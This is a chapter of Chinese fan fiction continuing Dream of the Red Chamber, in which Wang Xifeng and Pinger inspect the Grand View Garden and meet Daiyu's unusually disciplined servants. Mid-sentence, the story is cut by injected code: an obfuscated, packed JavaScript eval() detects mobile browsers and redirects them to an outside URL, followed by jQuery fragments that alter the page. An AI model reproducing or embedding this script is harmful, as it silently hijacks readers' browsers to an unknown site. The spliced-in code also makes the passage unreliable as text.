几人自大观园西门进来，这么一路说笑下来，早路过栊翠庵、嘉荫堂、大观楼等地，凤姐在各处都仔细看过，有几处草木需要补种、几处地方需要另收拾的，平儿都一一记下了。


    前面眼看着要到薛宝钗所居的蘅芜苑了，凤姐便吩咐众人道：“捧东西的跟着我们进去，其余的都在外头候着，不许说话。进去了，没我们的吩咐，不许乱看、乱动。”


    众人都答知道了。


    如此便先到蘅芜苑，又到稻香村见了李纨，跟着是迎春的紫菱洲、惜春的蓼风轩、探春的秋爽斋。


    从秋爽斋出来，平儿道：“这一趟走下来，到底是三姑娘更与别个不同，那屋子是比别的姑娘要肃整些，叫人佩服。”


    凤姐道：“正与咱们才说的一样。你瞧二丫头屋里，越发不成个样子了。从前跟三姑娘、四姑娘住在一起时，虽也是各人有各人的屋子，可到底彼此都近，又在太太那院里，她们还不敢怎样。现在独门独院地住着，二姑娘心里又没个计较，可不是叫那些人给骑在头里了。你看方才在那屋里时，那起子人虽是殷勤着奉承，但竟是单为了我去、才演出来的，平日里是怎么样，我竟不敢想了，难道都是那媳妇老妈子的天下了不成？嗬，如今我也知道了，怨不得司棋那丫头平日像个炮仗桶一样，若不是还有一个她，时常同那些人闹一回，二丫头还不知给欺负得怎样呢。”


    平儿道：“虽是这样，到底二姑娘自己立不起来，便有一个司棋，也难做。奶奶看这样可使得，往后得空了，我便进来，寻些小事，认真震慑她们几回，管教她们不敢太放肆的才好。若是由着她们闹去，若是传到大太太耳朵里，又是不好听的。”


    凤姐点头道：“你说的是。”又道：“不说震慑得如何，到底咱们也是上了心的。”


    凤姐扶着平儿的手又走了一段，想了想，道：“宝姑娘那一处，怎么是那样一个形状？也不曾布置什么，几件玩器也不大起眼，里外里那样冷清，倒不像住着人的了。咱们的东西，可都送了去了？”


    平儿叹道：“何尝敢短了她的？各处的东西，都是一样一样点数好了、送过去的，摆什么、用什么，都是有数的，可蘅芜苑的那一份，宝姑娘才搬进去不久，便退了回来。初时我以为是底下人粗心，送的东西不得宝姑娘的意，我便去亲自挑了一批东西，皆是顶好的，又送了过去，谁知还是退回。宝姑娘为人倒好，特打发人来与我说，东西皆是极好的，只是她喜欢清净些，只留了几样素净的随喜摆摆也罢了，叫我别多心。我劝她另挑几件，她仍是不用。”


    凤姐听说，又问：“蘅芜苑使用上的人也是这样罢？瞧着怪冷清的。”


    平儿道：“正是呢，连那一处的丫头婆子们也退回来大半，只说不用这许多人伺候。”想了想，又道：“许是姨太太那边过意不去，才打发人来同我说，要替宝姑娘新补进一个人来，仍旧是从薛家账上开支，不使咱们公中的钱，若咱们瞧着没差错儿，过几日就将人送进来呢。”


    凤姐沉吟片刻，笑道：“那也由得她们了。嗐，都是亲戚，一个半个人、一两件儿东西，何至于算得这样清楚？也太仔细了。这事还好你亲自过问了，既然问明了是宝姑娘自己的主意，姨太太也没别的话，那也与咱们无干。将来便是老太太、太太问起来，咱们也有几句话说。”


    前面便是正南门，旁边是“曲径通幽”。


    凤姐驻足将四处都仔细瞧了瞧，吩咐道：“这里头弯弯绕绕的，又有好些个山洞子，好看是好看，可那日头容易照不进去的地方儿恐怕还多，叫管这里的人勤着些儿打扫，地上、壁上不准有那些滑溜溜的泥苔子，若是叫姑娘们和宝玉跌了、碰了，大家担待不起。另还有那些个懒丫头，晚上不乐意上茅房去，保不齐便在这些地方混拉混尿的，也不成个体统了，你们提点着值夜的人，若是捉住了，好生臊一臊她们。”


    凤姐用语一向泼辣直接，后面马上有一个媳妇答应道：“奶奶放心，咱们都已记下了，还是奶奶想得周到。”


    凤姐又若有所思地道：“从前修园子，费心弄了这些个地方，自然为的是‘雅’，可如今住了人，倒是不可不防了。”


    平儿忙问：“奶奶说的是什么？”


    凤姐叹道：“园子里地方大、人又多，虽有那许多值夜、巡查的人，哼，以她们的做派，也不见得到处都巡得到，若是被那些人在这些地方作怪，倒是防不胜防的。”


    平儿劝道：“若是存心要作怪，咱们哪里又防得住呢，只等犯了事了，咱们再发落，那也罢了，奶奶且宽宽心罢。”


    再往前走，只见满目青碧、翠竹森森，别有一番清新风致，原来便是潇湘馆了。


    平儿往婆子手里看了一眼，笑道：“从林姑娘这里再过去，那边儿就是宝玉，跟着便能交了差了。忙了这半日，总算见着个头儿了。”


    凤姐点头，领头向游廊走去。


    两边时有一些婉转清脆的鸟鸣，但那些鸟儿只隐在竹叶之间，只偶然听见一些翅膀扑腾竹叶的沙沙声，并不能看到身影。


    如此引人遐思，反倒更添了一种婉转的幽情。


    凤姐信步走着，一面仔细打量，点头道：“这里竹子多，倒难得地上一丝不乱。虽是一样有管打扫的人，这里倒比别处格外干净些。”


    凤姐的话音刚落，平儿等都还不及答话，只见从前面小径的转角处走出来两个利落的婆子，脸上都带着笑，规规矩矩地给凤姐行了礼。


    一个婆子回道：“回二奶奶的话，我们两个是潇湘馆的人。由这廊子起，一并连咱们潇湘馆门前的一圈地方，平时是由咱们几个负责的。”


    她介绍同伴时，并非以手指相指，而是用整只手掌微微向同伴处一引。


    意思是一样的，却总让人觉得更舒服些。


    凤姐微微挑眉，她打量这两个婆子不过是寻常下人打扮，但总觉得有哪里与人不同。


    她两个的衣衫鞋袜洁净服帖，行礼回话时虽然极为恭敬，肩背却挺得笔直，姿态也自然，全然没有那一等谄媚巴结的习气。


    最难得


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15921277|162289||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    的是说话也清楚，精精神神、利利落落的，倒是令人颇感意外。


    凤姐点点头，想起刚才这婆子的说话，微微皱眉道：“怎么是由你们自己做来，原来管打扫的人呢？”


    那婆子回道：“回二奶奶的话，她们自然也还是照样在按职分打扫的。只是，我们姑娘说了，别人该做别人职责内的事，我们不去管她，但我们自己也该尽心，至少得做到‘门前三包’。”


    凤姐看了一眼平儿，笑道：“这话倒也新鲜，你来给我细说说，什么是‘三包’，怎么个包法儿？”


    另一个婆子上前道：“回二奶奶的话，咱们家里各处虽是安排了有打扫的人，但这园子地方儿大，每日洒扫还是要颇费一番工夫的。奶奶您想，咱们都是拿一份儿月钱做事的，谁耐烦天天这样勤快呢，所以面儿上虽好，细处却难免懈怠。初时还瞧不出来，时间长了，可就难看了。我们姑娘说了，咱们既然住了进来，便应尽一份责任，这‘三包’，便是一包‘秩序’、二包‘卫生’、三包‘设施’，咱们几个便是姑娘派来专管这‘三包’的。照理说，这责任是极大的，可这府里有二奶奶这样厉害、能干的人管着，各处都照管得好，所以这秩序、设施也罢了，一日下来竟没有我们什么事做，单只这‘卫生’一项还能略尽些心。每日等府里的人来打扫过，我们再瞧着将她们照管不到的地方收拾了，彼此都省事，又干净。”


    这一篇话说得清楚明白，又神色如常地拍了凤姐儿好大的马屁，将凤姐说得脸上也露出一丝笑意。


    连平儿都对这两个婆子注了意。


    平儿细细打量了她两个一回，笑道：“这个说法倒是巧，我们竟是没听见过的。最难得是林姑娘有这份心。”


    凤姐点头，将婆子的话在心里转了几遍，暗暗记在心里，挥手叫人退下。


    凤姐等人跟着又向内行。


    一路所见潇湘馆的下人皆是一般的干净利落，面目聪明、脚步带风，见面先问好，格外与人不同。


    凤姐主仆也不禁暗暗纳罕。


    一行人刚过了“有凤来仪”的匾额，便看见黛玉的大丫鬟紫鹃候在那里，想是早有人通报进去了。


    紫鹃一见凤姐等人，便笑着迎出来，将凤姐等接入房中，一面笑道：“我们姑娘已备下好茶了，二奶奶快请进来坐。”


    进去正屋内，黛玉平常见客用的一架罗汉床上在左侧已安了新的软垫与座袱，紫鹃先请凤姐坐了，黛玉自坐在另一端，紫鹃又引平儿到下首椅上坐去。


    平儿自然不肯，对紫鹃笑道：“这是怎么说，好端端的，你倒服侍起我了。”


    黛玉见了，对凤姐笑道：“我不管，既然进了我的门，便要听我们的主张。平儿姐姐也是我们的贵客呢，平日想请也请不来，这会子别说是坐一会子，便是要躺要卧，我也没二话。”


    凤姐笑道：“嗳哟哟，这话你又同我讲什么？好像我是什么刻毒的主子，专不许人家坐呢。”


    一番话说得平儿也笑了，这才推辞着在椅上半坐了。